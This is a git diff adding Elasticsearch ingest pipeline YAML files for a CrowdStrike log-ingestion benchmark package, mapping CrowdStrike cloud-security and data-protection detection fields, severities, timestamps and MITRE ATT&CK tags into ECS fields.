+      value: '{{{crowdstrike.threat.tactic.id}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_threat_tactic_reference_from_crowdstrike_threat_tactic_reference_0caca4fa
+      if: ctx.crowdstrike?.threat?.tactic?.reference != null
+      field: threat.tactic.reference
+      value: '{{{crowdstrike.threat.tactic.reference}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_threat_technique_name_from_crowdstrike_threat_technique_name_1669c200
+      if: ctx.crowdstrike?.threat?.technique?.name != null
+      field: threat.technique.name
+      value: '{{{crowdstrike.threat.technique.name}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_threat_technique_id_from_crowdstrike_threat_technique_id_4aa63bbe
+      if: ctx.crowdstrike?.threat?.technique?.id != null
+      field: threat.technique.id
+      value: '{{{crowdstrike.threat.technique.id}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_threat_technique_reference_from_crowdstrike_threat_technique_reference_5d99d5d4
+      if: ctx.crowdstrike?.threat?.technique?.reference != null
+      field: threat.technique.reference
+      value: '{{{crowdstrike.threat.technique.reference}}}'
+      allow_duplicates: false
+  # CloudSecurityIOMEvaluation events use `resource.cloudProvider`, IOM events use `cloudplatform`
+  - rename:
+      tag: rename_crowdstrike_cloudplatform_to_cloud_provider_e4cd5dc3
+      field: crowdstrike.cloudplatform
+      target_field: cloud.provider
+      ignore_missing: true
+  - append:
+      tag: append_cloud_provider_from_crowdstrike_cloudplatform_fbe812c3
+      if: ctx.crowdstrike?.cloudplatform != null
+      field: cloud.provider
+      value: '{{{crowdstrike.cloudplatform}}}'
+      allow_duplicates: false
+  - rename:
+      tag: rename_crowdstrike_resource_cloudProvider_to_cloud_provider_e78d6077
+      if: ctx.cloud?.provider == null
+      field: crowdstrike.resource.cloudProvider
+      target_field: cloud.provider
+      ignore_missing: true
+  - append:
+      tag: append_cloud_provider_from_crowdstrike_resource_cloudProvider_70f564de
+      if: ctx.crowdstrike?.resource?.cloudProvider != null
+      field: cloud.provider
+      value: '{{{crowdstrike.resource.cloudProvider}}}'
+      allow_duplicates: false
+  # CloudSecurityIOMEvaluation events use `ruleId`, IOM events use `policy_id`
+  - rename:
+      tag: rename_crowdstrike_policy_id_to_rule_id_6a562b4e
+      field: crowdstrike.policy_id
+      target_field: rule.id
+      ignore_missing: true
+  - append:
+      tag: append_rule_id_from_crowdstrike_policy_id_5527ec40
+      if: ctx.crowdstrike?.policy_id != null
+      field: rule.id
+      value: '{{{crowdstrike.policy_id}}}'
+      allow_duplicates: false
+  - rename:
+      tag: rename_crowdstrike_ruleId_to_rule_id_7392c4e8
+      if: ctx.rule?.id == null
+      field: crowdstrike.ruleId
+      target_field: rule.id
+      ignore_missing: true
+  - append:
+      tag: append_rule_id_from_crowdstrike_ruleId_39fca7b0
+      if: ctx.crowdstrike?.ruleId != null
+      field: rule.id
+      value: '{{{crowdstrike.ruleId}}}'
+      allow_duplicates: false
+  - rename:
+      tag: rename_crowdstrike_ruleName_to_rule_name_09ff9f3a
+      if: ctx.rule?.name == null
+      field: crowdstrike.ruleName
+      target_field: rule.name
+      ignore_missing: true
+  - append:
+      tag: append_rule_name_from_crowdstrike_ruleName_9f105302
+      if: ctx.crowdstrike?.ruleName != null
+      field: rule.name
+      value: '{{{crowdstrike.ruleName}}}'
+      allow_duplicates: false
+  - rename:
+      tag: rename_crowdstrike_CloudService_to_cloud_service_name_cad180a2
+      field: crowdstrike.CloudService
+      target_field: cloud.service.name
+      ignore_missing: true
+  - append:
+      tag: append_cloud_service_name_from_crowdstrike_CloudService_502b8518
+      if: ctx.crowdstrike?.CloudService != null
+      field: cloud.service.name
+      value: '{{{crowdstrike.CloudService}}}'
+      allow_duplicates: false
+  # CloudSecurityIOMEvaluation events use `resource.accountId`, IOM events use `AccountId`
+  - rename:
+      tag: rename_crowdstrike_AccountId_to_cloud_account_id_7a667ede
+      field: crowdstrike.AccountId
+      target_field: cloud.account.id
+      ignore_missing: true
+  - append:
+      tag: append_cloud_account_id_from_crowdstrike_AccountId_e0946632
+      if: ctx.crowdstrike?.AccountId != null
+      field: cloud.account.id
+      value: '{{{crowdstrike.AccountId}}}'
+      allow_duplicates: false
+  - rename:
+      tag: rename_crowdstrike_resource_accountId_to_cloud_account_id_ed136ada
+      if: ctx.cloud?.account?.id == null
+      field: crowdstrike.resource.accountId
+      target_field: cloud.account.id
+      ignore_missing: true
+  - append:
+      tag: append_cloud_account_id_from_crowdstrike_resource_accountId_8c8510ad
+      if: ctx.crowdstrike?.resource?.accountId != null
+      field: cloud.account.id
+      value: '{{{crowdstrike.resource.accountId}}}'
+      allow_duplicates: false
+  # CloudSecurityIOMEvaluation events use `resource.region`, IOM events use `region`
+  - rename:
+      tag: rename_crowdstrike_region_to_cloud_region_a2be859e
+      field: crowdstrike.region
+      target_field: cloud.region
+      ignore_missing: true
+  - append:
+      tag: append_cloud_region_from_crowdstrike_region_e4a0d590
+      if: ctx.crowdstrike?.region != null
+      field: cloud.region
+      value: '{{{crowdstrike.region}}}'
+      allow_duplicates: false
+  - rename:
+      tag: rename_crowdstrike_resource_region_to_cloud_region_54502abf
+      if: ctx.cloud?.region == null
+      field: crowdstrike.resource.region
+      target_field: cloud.region
+      ignore_missing: true
+  - append:
+      tag: append_cloud_region_from_crowdstrike_resource_region_747cc2eb
+      if: ctx.crowdstrike?.resource?.region != null
+      field: cloud.region
+      value: '{{{crowdstrike.resource.region}}}'
+      allow_duplicates: false
+  # Override severity set in default.yml as Cloud Security has a different range.
+  - script:
+      tag: set_severity_name_from_crowdstrike_Severity_a1e4ce46
+      if: ctx.crowdstrike?.Severity instanceof int
+      source: |-
+        int severity = ctx.crowdstrike.Severity;
+        if (severity == 0) {
+          ctx.crowdstrike.SeverityName = 'critical';
+        } else if (severity == 1) {
+          ctx.crowdstrike.SeverityName = 'high';
+        } else if (severity == 2) {
+          ctx.crowdstrike.SeverityName = 'medium';
+        } else if (severity == 3) {
+          ctx.crowdstrike.SeverityName = 'informational';
+        }
+  - script:
+      tag: set_event_severity_from_severity_name_e55a1868
+      if: ctx.crowdstrike?.SeverityName instanceof String && ctx.crowdstrike.SeverityName != ''
+      params:
+        critical: 99
+        high: 73
+        info: 21
+        informational: 21
+        low: 21
+        medium: 47
+      source: |-
+        ctx.event = ctx.event ?: [:];
+        Integer score = params[ctx.crowdstrike.SeverityName.toLowerCase()];
+        if (score != null) {
+          ctx.event.severity = score;
+        }
+
+  - script:
+      description: Parse all benchmark IDs and create a list.
+      tag: parse_all_benchmark_ids_to_list_c4f20ce2
+      source: |-
+        for (entry in ctx.crowdstrike.entrySet()) {
+          def key = entry.getKey().toString();
+          if (key.endsWith("benchmark_ids")) {
+            def val = entry.getValue();
+            if (val instanceof String) {
+              def result = [];
+              String cleaned = /[\\{\\}\\s]/.matcher(val).replaceAll('');
+              def parts = cleaned.splitOnToken(",");
+              for (def part : parts) {
+                result.add(part);
+              }
+              ctx.crowdstrike[key] = result;
+            }
+          }
+        }
+
+  # Cleanup.
+  - remove:
+      tag: remove_deaa67b5
+      field:
+        - crowdstrike.Disposition
+        - crowdstrike.Finding
+        - crowdstrike.CloudPlatform
+        - crowdstrike.PolicyId
+        - crowdstrike.PolicyStatement
+        - crowdstrike.Region
+        - crowdstrike.ResourceUrl
+        - crowdstrike.mitre_attack_tactics_name
+        - crowdstrike.mitre_attack_tactics_url
+        - crowdstrike.threat.framework
+        - crowdstrike.threat.technique.id
+        - crowdstrike.threat.technique.name
+        - crowdstrike.threat.technique.reference
+        - crowdstrike.threat.tactic.id
+        - crowdstrike.threat.tactic.name
+        - crowdstrike.threat.tactic.reference
+      ignore_missing: true
+
+  # error handling
+  - set:
+      tag: set_pipeline_error_into_event_kind_92954dfa
+      if: ctx.error?.message != null
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_preserve_original_event_into_tags_9fe66b2c
+      if: ctx.error?.message != null
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+on_failure:
+  - set:
+      tag: set_event_kind_f51b77ad
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_tags_d762b9c5
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+  - append:
+      tag: append_error_message_e0c9bd63
+      field: error.message
+      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml
new file mode 100644
index 0000000000..f52301bec7
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml
@@ -0,0 +1,360 @@
+---
+description: Pipeline for processing Data Protection Detection Summary events.
+processors:
+
+  # event categorization fields
+  - set:
+      tag: set_event_kind_to_alert_39295792
+      field: event.kind
+      value: alert
+  - append:
+      tag: append_malware_category_425d1f27
+      field: event.category
+      value: malware
+  - append:
+      tag: append_info_type_8a66ccaa
+      field: event.type
+      value: info
+
+  # converts
+  - convert:
+      tag: convert_crowdstrike_DataVolume_to_long_942b72ee
+      field: crowdstrike.DataVolume
+      type: long
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_e18f0b9e
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_ContentPatterns_ConfidenceLevel_to_long_45401f80
+      field: crowdstrike.ContentPatterns.ConfidenceLevel
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_ContentPatterns_ConfidenceLevel_51bb48e5
+            field:
+              - crowdstrike.ContentPatterns.ConfidenceLevel
+        - append:
+            tag: append_error_message_469733f0
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_ContentPatterns_MatchCount_to_long_1860a094
+      field: crowdstrike.ContentPatterns.MatchCount
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_ContentPatterns_MatchCount_e5886467
+            field:
+              - crowdstrike.ContentPatterns.MatchCount
+        - append:
+            tag: append_error_message_c13d0524
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_FilesEgressedCount_to_long_0a2680d8
+      field: crowdstrike.FilesEgressedCount
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_FilesEgressedCount_0df285cb
+            field:
+              - crowdstrike.FilesEgressedCount
+        - append:
+            tag: append_error_message_bc729538
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_UserNotified_to_boolean_fff533bd
+      field: crowdstrike.UserNotified
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_UserNotified_4d8a9089
+            field:
+              - crowdstrike.UserNotified
+        - append:
+            tag: append_error_message_f94b1b53
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_UserMapped_to_boolean_bccf576a
+      field: crowdstrike.UserMapped
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_UserMapped_2143e1d5
+            field:
+              - crowdstrike.UserMapped
+        - append:
+            tag: append_error_message_da37c64a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_IsClipboard_to_boolean_5ba67e86
+      field: crowdstrike.IsClipboard
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_IsClipboard_5d478e5b
+            field:
+              - crowdstrike.IsClipboard
+        - append:
+            tag: append_error_message_0e71edc6
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # timestamps
+  - date:
+      tag: date_crowdstrike_EventTimestamp_into_crowdstrike_EventTimestamp_d5f05563
+      if: ctx.crowdstrike?.EventTimestamp != null
+      field: crowdstrike.EventTimestamp
+      target_field: crowdstrike.EventTimestamp
+      formats:
+        - UNIX
+      timezone: UTC
+      on_failure:
+        - append:
+            tag: append_error_message_9bb40391
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  # Anomaly-based detections contains SessionStartTimestamp and SessionEndTimestamp fields
+  - date:
+      tag: date_crowdstrike_SessionStartTimestamp_into_event_start_f37db09c
+      if: ctx.crowdstrike?.SessionStartTimestamp != null
+      field: crowdstrike.SessionStartTimestamp
+      target_field: event.start
+      formats:
+        - UNIX
+      timezone: UTC
+      on_failure:
+        - append:
+            tag: append_error_message_dabedfbc
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      tag: date_crowdstrike_SessionEndTimestamp_into_event_end_98eb023b
+      if: ctx.crowdstrike?.SessionEndTimestamp != null
+      field: crowdstrike.SessionEndTimestamp
+      target_field: event.end
+      formats:
+        - UNIX
+      timezone: UTC
+      on_failure:
+        - append:
+            tag: append_error_message_525bb579
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      description: Determine event.duration from event start and end date.
+      tag: script_to_set_event_duration_90e6c5bc
+      if: ctx.event?.start != null && ctx.event.end != null
+      source: |-
+        Instant event_start = ZonedDateTime.parse(ctx.event.start).toInstant();
+        Instant event_end = ZonedDateTime.parse(ctx.event.end).toInstant();
+        ctx.event['duration'] = ChronoUnit.NANOS.between(event_start, event_end);
+      on_failure:
+        - append:
+            tag: append_error_message_96ed185c
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # ECS mappings
+  - set:
+      tag: set_threat_framework_f92aa71d
+      field: threat.framework
+      value: MITRE ATT&CK
+  - set:
+      tag: set_event_outcome_success_99af7416
+      if: ctx.crowdstrike?.ResponseAction == 'allowed'
+      field: event.outcome
+      value: success
+  - set:
+      tag: set_event_outcome_failure_f46199b1
+      if: ctx.crowdstrike?.ResponseAction == 'blocked'
+      field: event.outcome
+      value: failure
+  - set:
+      tag: set_event_outcome_unknown_2820f2e9
+      field: event.outcome
+      value: unknown
+      override: false
+  - set:
+      tag: set_message_from_crowdstrike_Description_705948c3
+      field: message
+      copy_from: crowdstrike.Description
+      ignore_empty_value: true
+  - set:
+      tag: set_event_action_from_crowdstrike_Name_bed0a20b
+      field: event.action
+      copy_from: crowdstrike.Name
+      ignore_empty_value: true
+  - set:
+      tag: set_event_reference_from_crowdstrike_FalconHostLink_6d3f2710
+      field: event.reference
+      copy_from: crowdstrike.FalconHostLink
+      ignore_empty_value: true
+  - set:
+      tag: set_file_hash_sha256_from_crowdstrike_ContentSha_d4ead6d6
+      field: file.hash.sha256
+      copy_from: crowdstrike.ContentSha
+      ignore_empty_value: true
+  - set:
+      tag: set_file_name_from_crowdstrike_Filename_119db8a6
+      field: file.name
+      copy_from: crowdstrike.Filename
+      ignore_empty_value: true
+  - set:
+      tag: set_file_size_from_crowdstrike_DataVolume_0c0ee92d
+      field: file.size
+      copy_from: crowdstrike.DataVolume
+      ignore_empty_value: true
+  - set:
+      tag: set_host_name_from_crowdstrike_Hostname_eae1ab7e
+      field: host.name
+      copy_from: crowdstrike.Hostname
+      ignore_empty_value: true
+  - set:
+      tag: set_rule_id_from_crowdstrike_Policy_ID_e4a06110
+      field: rule.id
+      copy_from: crowdstrike.Policy.ID
+      ignore_empty_value: true
+  - set:
+      tag: set_rule_name_from_crowdstrike_Policy_Name_db8e5eec
+      field: rule.name
+      copy_from: crowdstrike.Policy.Name
+      ignore_empty_value: true
+  - set:
+      tag: set_user_id_from_crowdstrike_UserSid_ff207491
+      field: user.id
+      copy_from: crowdstrike.UserSid
+      ignore_empty_value: true
+  - set:
+      tag: set_user_name_from_crowdstrike_UserName_0d5ff858
+      field: user.name
+      copy_from: crowdstrike.UserName
+      ignore_empty_value: true
+  - append:
+      tag: append_file_hash_sha256_to_related_hash_7574f0ee
+      if: ctx.file?.hash?.sha256 != null
+      field: related.hash
+      value: '{{{file.hash.sha256}}}'
+  - script:
+      tag: extract_file_extension_from_filename_adc57e41
+      if: ctx.crowdstrike?.Filename != null
+      source: |-
+        def idx = ctx.crowdstrike.Filename.lastIndexOf('.');
+        if (idx != -1) {
+          ctx.file = ctx.file ?: [:];
+          ctx.file.extension = ctx.crowdstrike.Filename.substring(idx + 1).toLowerCase();
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_1a00ddc7
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - lowercase:
+      tag: lowercase_crowdstrike_Platform_into_host_os_platform_0de817b0
+      field: crowdstrike.Platform
+      target_field: host.os.platform
+      ignore_missing: true
+  - foreach:
+      tag: foreach_of_crowdstrike_MitreAttack_for_Tactic_268c02de
+      if: ctx.crowdstrike?.MitreAttack instanceof List
+      field: crowdstrike.MitreAttack
+      processor:
+        append:
+          tag: append_crowdstrike_MitreAttack_threat_tactic_name_into_Tactic_b021c3ec
+          field: threat.tactic.name
+          value: '{{{_ingest._value.Tactic}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_of_crowdstrike_MitreAttack_for_TacticID_268c02de
+      if: ctx.crowdstrike?.MitreAttack instanceof List
+      field: crowdstrike.MitreAttack
+      processor:
+        append:
+          tag: append_crowdstrike_MitreAttack_threat_tactic_id_into_TacticID_4d499747
+          field: threat.tactic.id
+          value: '{{{_ingest._value.TacticID}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_of_crowdstrike_MitreAttack_for_Technique_268c02de
+      if: ctx.crowdstrike?.MitreAttack instanceof List
+      field: crowdstrike.MitreAttack
+      processor:
+        append:
+          tag: append_crowdstrike_MitreAttack_threat_technique_name_into_Technique_af6387ac
+          field: threat.technique.name
+          value: '{{{_ingest._value.Technique}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_of_crowdstrike_MitreAttack_for_TechniqueID_268c02de
+      if: ctx.crowdstrike?.MitreAttack instanceof List
+      field: crowdstrike.MitreAttack
+      processor:
+        append:
+          tag: append_crowdstrike_MitreAttack_threat_technique_id_into_TechniqueID_70f7c093
+          field: threat.technique.id
+          value: '{{{_ingest._value.TechniqueID}}}'
+          allow_duplicates: false
+
+  # clean up
+  - remove:
+      tag: remove_custom_duplicate_fields_decaf9d0
+      field:
+        - crowdstrike.ContentSha
+        - crowdstrike.DataVolume
+        - crowdstrike.Description
+        - crowdstrike.EgressEventId
+        - crowdstrike.FalconHostLink
+        - crowdstrike.Filename
+        - crowdstrike.Hostname
+        - crowdstrike.MitreAttack
+        - crowdstrike.Name
+        - crowdstrike.Platform
+        - crowdstrike.Policy
+        - crowdstrike.SessionStartTimestamp
+        - crowdstrike.SessionEndTimestamp
+        - crowdstrike.Tactic
+        - crowdstrike.TacticId
+        - crowdstrike.Technique
+        - crowdstrike.TechniqueId
+        - crowdstrike.UserSid
+        - crowdstrike.UserName
+      ignore_missing: true
+
+  # error handling
+  - set:
+      tag: set_pipeline_error_into_event_kind_92954dfa
+      if: ctx.error?.message != null
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_preserve_original_event_into_tags_9fe66b2c
+      if: ctx.error?.message != null
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+on_failure:
+  - append:
+      tag: append_error_message_d1950926
+      field: error.message
+      value: Processor '{{{ _ingest.on_failure_processor_type }}}' {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
+  - set:
+      tag: set_pipeline_error_into_event_kind_f51b77ad
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_preserve_original_event_into_tags_d762b9c5
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml
new file mode 100644
index 0000000000..ca19104e54
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml
@@ -0,0 +1,2857 @@
+---
+description: Pipeline for processing CrowdStrike sample logs
+processors:
+  # Message decoding.
+  - remove:
+      tag: remove_static_constant_keyword_fields_ad941c6d
+      field:
+        - ecs.version
+        - event.dataset
+        - event.module
+        - observer.type
+        - observer.vendor
+      ignore_missing: true
+  - remove:
+      description: Removes the fields added by Agentless as metadata, as they can collide with ECS fields.
+      tag: remove_agentless_metadata_44eed408
+      if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String
+      field:
+        - organization
+        - division
+        - team
+      ignore_missing: true
+  - rename:
+      description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document.
+      tag: rename_message_to_event_original_c74b1d7e
+      if: ctx.event?.original == null
+      field: message
+      target_field: event.original
+      ignore_missing: true
+  - remove:
+      description: The `message` field is no longer required if the document has an `event.original` field.
+      tag: remove_message_84808ee4
+      if: ctx.event?.original != null
+      field:
+        - message
+      ignore_missing: true
+  - json:
+      tag: json_event_original_into_crowdstrike_d88a8a87
+      field: event.original
+      target_field: crowdstrike
+      on_failure:
+        - append:
+            tag: append_error_message_4ef54c75
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - remove:
+      tag: remove_metadata_host_aid_and_user_sid_a4bf7be9
+      field:
+        - metadata.host.aid
+        - metadata.user.UserSid_readable
+      ignore_missing: true
+  - rename:
+      tag: rename_metadata_to_crowdstrike_info_4a121644
+      field: metadata
+      target_field: crowdstrike.info
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_d5092d94
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_UTCTimestamp_to_long_into__temp_utc_timestamp_a18a1c5b
+      field: crowdstrike.UTCTimestamp
+      type: long
+      target_field: _temp.utc_timestamp
+      ignore_missing: true
+      ignore_failure: true
+  - date:
+      tag: date__temp_utc_timestamp_into_event_created_051b20f6
+      if: ctx.event?.created == null && ctx._temp?.utc_timestamp instanceof long && ctx._temp.utc_timestamp < (long)1e10
+      field: _temp.utc_timestamp
+      target_field: event.created
+      formats:
+        - UNIX
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike_UTCTimestamp_into_event_created_7df015fc
+      if: ctx.event?.created == null && ctx.crowdstrike?.UTCTimestamp != null && ctx.crowdstrike.UTCTimestamp != '' && ctx.crowdstrike.UTCTimestamp != 'none'
+      field: crowdstrike.UTCTimestamp
+      target_field: event.created
+      formats:
+        - UNIX_MS
+        - ISO8601
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike_timestamp_into_event_created_b2c980e4
+      if: ctx.event?.created == null && ctx.crowdstrike?.timestamp != null && ctx.crowdstrike.timestamp != '' && ctx.crowdstrike.timestamp != 'none'
+      field: crowdstrike.timestamp
+      target_field: event.created
+      formats:
+        - UNIX_MS
+        - ISO8601
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike_CreationTimeStamp_into_event_created_bd5c0651
+      if: ctx.event?.created == null && ctx.crowdstrike?.CreationTimeStamp != null && ctx.crowdstrike.CreationTimeStamp != '' && ctx.crowdstrike.CreationTimeStamp != 'none'
+      field: crowdstrike.CreationTimeStamp
+      target_field: event.created
+      formats:
+        - UNIX
+        - ISO8601
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike_Time_into_event_created_7e1af297
+      if: ctx.event?.created == null && ctx.crowdstrike?.Time != null && ctx.crowdstrike.Time != '' && ctx.crowdstrike.Time != 'none'
+      field: crowdstrike.Time
+      target_field: event.created
+      formats:
+        - ISO8601
+        - UNIX
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike__time_into_event_created_e003a0c5
+      if: ctx.event?.created == null && ctx.crowdstrike?._time != null && ctx.crowdstrike._time != '' && ctx.crowdstrike._time != 'none'
+      field: crowdstrike._time
+      target_field: event.created
+      formats:
+        - ISO8601
+        - UNIX
+      ignore_failure: true
+  - set:
+      tag: set_@timestamp_40ae7ab1
+      if: ctx.event?.created != null
+      field: '@timestamp'
+      copy_from: event.created
+  - set:
+      tag: set_@timestamp_6b114c93
+      if: ctx["@timestamp"] == null
+      field: '@timestamp'
+      copy_from: _ingest.timestamp
+  - script:
+      description: Conditionally convert BatchTimestamp from Windows NT timestamp format to UNIX
+      tag: script_date_BatchTimestamp_from_nt_3442e38e
+      source: |-
+        if (ctx.crowdstrike?.BatchTimestamp == null) {
+          return;
+        }
+        long timestamp;
+        if (ctx.crowdstrike.BatchTimestamp instanceof long) {
+          timestamp = (long)ctx.crowdstrike.BatchTimestamp;
+        } else if (ctx.crowdstrike.BatchTimestamp instanceof String) {
+          if (!ctx.crowdstrike.BatchTimestamp.contains('.')) {
+            timestamp = Long.parseLong(ctx.crowdstrike.BatchTimestamp);
+          }
+        }
+        if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant.
+          ctx.crowdstrike.BatchTimestamp = (timestamp / 10000000) - 11644473600L;
+        }
+  - date:
+      tag: date_crowdstrike_BatchTimestamp_into_crowdstrike_BatchTimestamp_9ff569ce
+      if: ctx.crowdstrike?.BatchTimestamp != null && ctx.crowdstrike.BatchTimestamp != '' && ctx.crowdstrike.BatchTimestamp != 'none'
+      field: crowdstrike.BatchTimestamp
+      target_field: crowdstrike.BatchTimestamp
+      formats:
+        - UNIX
+  - script:
+      description: Conditionally convert BrowserExtensionInstalledTimestamp from Windows NT timestamp format to UNIX
+      tag: script_date_BrowserExtensionInstalledTimestamp_from_nt_486c5b00
+      source: |-
+        if (ctx.crowdstrike?.BrowserExtensionInstalledTimestamp == null) {
+          return;
+        }
+        long timestamp;
+        if (ctx.crowdstrike.BrowserExtensionInstalledTimestamp instanceof long) {
+          timestamp = (long)ctx.crowdstrike.BrowserExtensionInstalledTimestamp;
+        } else if (ctx.crowdstrike.BrowserExtensionInstalledTimestamp instanceof String) {
+          if (!ctx.crowdstrike.BrowserExtensionInstalledTimestamp.contains('.')) {
+            timestamp = Long.parseLong(ctx.crowdstrike.BrowserExtensionInstalledTimestamp);
+          }
+        }
+        if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant.
+          ctx.crowdstrike.BrowserExtensionInstalledTimestamp = (timestamp / 10000000) - 11644473600L;
+        }
+  - date:
+      tag: date_crowdstrike_BrowserExtensionInstalledTimestamp_into_crowdstrike_BrowserExtensionInstalledTimestamp_5afea043
+      if: ctx.crowdstrike?.BrowserExtensionInstalledTimestamp != null && ctx.crowdstrike.BrowserExtensionInstalledTimestamp != '' && ctx.crowdstrike.BrowserExtensionInstalledTimestamp != 'none'
+      field: crowdstrike.BrowserExtensionInstalledTimestamp
+      target_field: crowdstrike.BrowserExtensionInstalledTimestamp
+      formats:
+        - UNIX
+  - script:
+      description: Conditionally convert ContextTimeStamp from Windows NT timestamp format to UNIX
+      tag: script_date_ContextTimeStamp_from_nt_37e17ed8
+      if: ctx.crowdstrike?.ContextTimeStamp != null && ctx.crowdstrike?.ContextTimeStamp != ""
+      source: |-
+        if (ctx.crowdstrike?.ContextTimeStamp == null) {
+          return;
+        }
+        long timestamp;
